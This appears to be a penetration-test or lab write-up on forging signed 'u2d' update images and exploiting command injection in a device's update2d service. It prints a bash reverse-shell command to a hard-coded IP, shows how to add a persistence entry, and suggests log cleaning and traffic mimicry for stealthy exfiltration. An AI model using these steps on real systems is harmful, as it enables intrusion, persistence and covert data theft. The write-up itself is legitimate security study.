From the source code and u2d images provided I was able to create a script that creates a new signed u2d file using the dummy key.priv I was given. The files I used to reverse engineer the u2d format is update2d.h and update2d.c, they include the necessary structs and information to build a basic u2d file. I’ve chosen to focus on creating a u2d file of the u2d_objtype exec-type: OBJ_EXEC and with the FLG_HMAC_SHA256 flag. You can find the script and its readme in src/update2d/.
Signing the u2d
On the real server as well as my lab environment, the update2d binary in /usr/sbin/ runs using the --onlysigned flag/argument. This means we need to sign the u2d file for it to be accepted. From update2d.h and update2d.c I know that the algorithm used for signing and verification is HMAC-SHA256. This is important because HMAC-SHA256 is symmetric, meaning the same key is used for both signing and verification.
In update2d.c the u2d_verify_image() function verifies the signature of an u2d file by reading the 32-byte MAC from the file, then it takes the payload bytes from the u2d file and uses them along with a key to compute a new MAC. If the payload-computed MAC (called tag in the function) and the MAC from the file matches the file is accepted, if not, it is rejected. The reasoning behind this, is that it’s the same key used in signing and verification of the MACs (it’s symmetric). Since I have the key that the lab environment uses, key.priv, I can create as many valid u2d files as I want. It is worth noting that this is not the same key as is used on the real DDING-3000 machine.
Lastly, the u2d file layout when signing is enabled is as follows:
| |
Its important to note that the u2d format uses little endian, unlike the NetUp protocol which uses big endian. I verified this structure against the test-image imgA.u2d and it checks out (to be interpreted as hexadecimal):
| |
The payload breaks down as follows:
| |
The u2d_process_exec() vulnerability
Now we know how to create a u2d file and how to sign it. Next I went looking for how the update2d software actually executes a u2d file with the OBJ_EXEC object type.
The u2d_process_exec() function in update2d.c passes the command from the payload of the u2d file directly to the C system() function without any sanitization. This means I can create a signed u2d image that runs a command of my choosing, and write it to, and execute it from, the lab environment using my netup client. Combining the client I wrote and my own u2d image, we gain RCE and arbitrary command execution. This can be used to gain persistence or exfiltrate data.
See src/netupsrv/reverse_shell.py for my very simple reverse shell delivery. In short, it uses a custom u2d file, reverse_shell.u2d, made with src/update2d/forge_u2d.py to run /usr/bin/bash -c '/usr/bin/bash -i >& /dev/tcp/192.168.50.32/4444 0>&1' which gives a basic reverse shell from the lab environment to my pc (192.168.50.32).
Below is the output from reverse_shell.py, please note that the last line with the exec response only shows after you close the reverse shell:
| |
And here is the output from my local windows machine, listening for the incoming connection:
| |
From here I can edit, read and write files. I can run any command that the jeppe user has access to. For example, I can add a new command to allowed_commands.list like so:
| |
Now I can run whoami from my client, without the reverse shell.
Closing thoughts
To summarize my work, I’ve managed to achieve:
- Understanding of the NetUp protocol through analysis of the netup binary and pcap file.
- Made a working client to talk to server using the NetUp protocol.
- Spool directory escape using
path.Cleantrailing slash andspooldirectory bug. - RCE through update2d command injection using
system()with unsanitized input and custom u2d file. - Demonstrated a path to persistence and exfiltration using a reverse shell and modifying files on the server
Where to go from here?
If I had more time I would work on a more solid approach to persistence and exfiltration. There are many ways to do this but to keep it stealthy during exfiltration I would consider cleaning up logs and mimicking legitimate traffic patterns.